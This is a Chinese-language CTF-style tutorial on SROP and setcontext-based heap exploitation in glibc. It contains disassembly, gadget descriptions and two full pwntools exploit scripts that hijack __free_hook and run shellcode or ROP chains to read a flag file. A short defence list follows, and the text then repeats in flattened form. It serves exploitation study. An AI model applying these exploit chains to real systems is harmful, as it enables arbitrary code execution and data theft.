srop搭配高低版本的setcontext
字数 1445 2025-08-23 18:31:08

SROP与高低版本setcontext利用技术详解

1. SROP技术概述

SROP (Sigreturn Oriented Programming) 是一种利用类Unix系统中signal机制的漏洞利用技术。Signal机制是进程间通信的一种方式,也称为软中断信号。攻击者可以通过系统调用kill发送软中断信号来触发这一机制。

核心原理:

  • 内核在处理signal时会保存进程的上下文(所有寄存器状态)
  • 通过伪造signal frame结构体,可以控制所有寄存器
  • 利用sigreturn系统调用恢复伪造的上下文

2. setcontext函数分析

setcontext是libc中与SROP功能类似的函数,可以用于控制寄存器状态。不同版本的setcontext有不同的实现方式。

2.1 低版本setcontext (2.29以下)

0x7fab8d034c80 <setcontext>: push rdi
0x7fab8d034c81 <setcontext+1>: lea rsi, [rdi+0x128]
0x7fab8d034c88 <setcontext+8>: xor edx, edx
[...]
0x7fab8d034cb5 <setcontext+53>: mov rsp, qword ptr [rdi+0xa0]
0x7fab8d034cbc <setcontext+60>: mov rbx, qword ptr [rdi+0x80]
[...]
0x7fab8d034cff <setcontext+127>: ret

特点:

  • 通过rdi寄存器传递参数
  • 从偏移53字节处开始恢复寄存器
  • 可以控制除rax外的所有寄存器

2.2 高版本setcontext (2.29及以上)

0x7f7775c5bcf0 <setcontext>: push rdi
0x7f7775c5bcf1 <setcontext+1>: lea rsi, [rdi+0x128]
[...]
0x7f7775c5bd25 <setcontext+53>: mov rsp, qword ptr [rdx+0xa0]
0x7f7775c5bd2c <setcontext+60>: mov rbx, qword ptr [rdx+0x80]
[...]
0x7f7775c5bd6f <setcontext+127>: ret

特点:

  • 通过rdx寄存器传递参数
  • 同样从偏移53字节处开始恢复寄存器
  • 需要额外的gadget将rdi转换为rdx

3. 利用技术详解

3.1 低版本利用技术

利用步骤:

  1. 泄露libc地址
  2. 劫持__free_hook为setcontext+53
  3. 在堆块中布置SigreturnFrame结构体
  4. 触发free调用,执行ROP链

关键点:

  • free函数在调用__free_hook前会将rdi设置为当前堆块地址
  • 通过setcontext+53可以控制程序执行流
  • 可以结合mprotect实现内存权限修改

示例payload:

frame = SigreturnFrame(kernel='amd64')
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.sym['mprotect']
frame.rdi = libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000
frame.rsi = 0x2000
frame.rdx = 7

3.2 高版本利用技术

由于高版本使用rdx传参,需要额外的gadget进行转换:

方法1: mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;

利用步骤:

  1. 劫持__free_hook为转换gadget
  2. 在堆块中布置:
    • 第一个qword: setcontext+53
    • 第二个qword: frame结构体地址
  3. 通过jmp rax跳转到setcontext+53

方法2: mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];

利用步骤:

  1. 劫持__free_hook为转换gadget
  2. 在堆块中布置:
    • 第一个qword: 任意值
    • 第二个qword: frame结构体地址
  3. 在frame结构体+0x20处放置setcontext+53
  4. 通过call指令跳转

4. 完整利用示例

4.1 低版本利用完整代码

from pwn import *

context(log_level='debug', arch='amd64', os='linux')
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["./ld-linux-x86-64.so.2", "./pwn"], env={"LD_PRELOAD":"./libc.so.6"})

# 泄露libc
add(0, 0x500)
add(1, 0x18)
free(0)
show(0)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3afca0

# 劫持free_hook
add(0, 0x400)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)

# 布置shellcode和frame
shellcode1 = '''
xor rdi,rdi
mov rsi, %d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % (libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000)

edit(0, p64(libc.sym['setcontext'] + 53) + p64(libc.sym['__free_hook'] + 0x10) + asm(shellcode1))

frame = SigreturnFrame(kernel='amd64')
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.sym['mprotect']
frame.rdi = libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000
frame.rsi = 0x2000
frame.rdx = 7
edit(1, bytes(frame))

# 触发
free(1)

# 发送ORW shellcode
shellcode2 = '''
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi,rsp
mov rdx, 1024
mov rax,0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, rax
mov rax, 1
syscall
mov rdi, 123
mov rax, 60
syscall
'''
io.sendline(asm(shellcode2))
io.interactive()

4.2 高版本利用完整代码

# 泄露libc部分相同...

# 劫持free_hook
add(0, 0x400)
add(1, 0x400)
free(1)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)

# 布置payload
payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
frame_addr = buf_addr + 0x20

frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.symbols['open']
frame.rdi = buf_addr
frame.rsi = 0

payload = b''
payload += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;'), executable=True)))
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
payload += bytes(frame)

edit(0, payload)
edit(1, p64(libc.sym['setcontext'] + 53) + p64(frame_addr))
free(1)
io.interactive()

5. 关键注意事项

  1. 版本差异:必须准确识别libc版本,选择正确的setcontext偏移
  2. 对齐要求:mprotect的第一个参数必须页对齐
  3. 寄存器控制:setcontext无法直接控制rax寄存器
  4. 堆布局:高版本需要精心设计堆块布局以传递正确参数
  5. gadget选择:高版本需要可靠的rdi到rdx转换gadget

6. 防御措施

  1. 启用ASLR增加地址预测难度
  2. 使用最新版libc,修复已知漏洞
  3. 限制signal相关系统调用的使用
  4. 监控异常的内存读写行为

通过深入理解SROP和setcontext的工作原理,可以构建强大的漏洞利用链,同时也为防御此类攻击提供了理论基础。

SROP与高低版本setcontext利用技术详解 1. SROP技术概述 SROP (Sigreturn Oriented Programming) 是一种利用类Unix系统中signal机制的漏洞利用技术。Signal机制是进程间通信的一种方式,也称为软中断信号。攻击者可以通过系统调用kill发送软中断信号来触发这一机制。 核心原理: 内核在处理signal时会保存进程的上下文(所有寄存器状态) 通过伪造signal frame结构体,可以控制所有寄存器 利用sigreturn系统调用恢复伪造的上下文 2. setcontext函数分析 setcontext是libc中与SROP功能类似的函数,可以用于控制寄存器状态。不同版本的setcontext有不同的实现方式。 2.1 低版本setcontext (2.29以下) 特点: 通过rdi寄存器传递参数 从偏移53字节处开始恢复寄存器 可以控制除rax外的所有寄存器 2.2 高版本setcontext (2.29及以上) 特点: 通过rdx寄存器传递参数 同样从偏移53字节处开始恢复寄存器 需要额外的gadget将rdi转换为rdx 3. 利用技术详解 3.1 低版本利用技术 利用步骤: 泄露libc地址 劫持__ free_ hook为setcontext+53 在堆块中布置SigreturnFrame结构体 触发free调用,执行ROP链 关键点: free函数在调用__ free_ hook前会将rdi设置为当前堆块地址 通过setcontext+53可以控制程序执行流 可以结合mprotect实现内存权限修改 示例payload: 3.2 高版本利用技术 由于高版本使用rdx传参,需要额外的gadget进行转换: 方法1: mov rdx, [ rdi+0x8]; mov rax, [ rdi ]; mov rdi, rdx; jmp rax; 利用步骤: 劫持__ free_ hook为转换gadget 在堆块中布置: 第一个qword: setcontext+53 第二个qword: frame结构体地址 通过jmp rax跳转到setcontext+53 方法2: mov rdx, [ rdi+0x8]; mov [ rsp], rax; call qword ptr [ rdx+0x20 ]; 利用步骤: 劫持__ free_ hook为转换gadget 在堆块中布置: 第一个qword: 任意值 第二个qword: frame结构体地址 在frame结构体+0x20处放置setcontext+53 通过call指令跳转 4. 完整利用示例 4.1 低版本利用完整代码 4.2 高版本利用完整代码 5. 关键注意事项 版本差异 :必须准确识别libc版本,选择正确的setcontext偏移 对齐要求 :mprotect的第一个参数必须页对齐 寄存器控制 :setcontext无法直接控制rax寄存器 堆布局 :高版本需要精心设计堆块布局以传递正确参数 gadget选择 :高版本需要可靠的rdi到rdx转换gadget 6. 防御措施 启用ASLR增加地址预测难度 使用最新版libc,修复已知漏洞 限制signal相关系统调用的使用 监控异常的内存读写行为 通过深入理解SROP和setcontext的工作原理,可以构建强大的漏洞利用链,同时也为防御此类攻击提供了理论基础。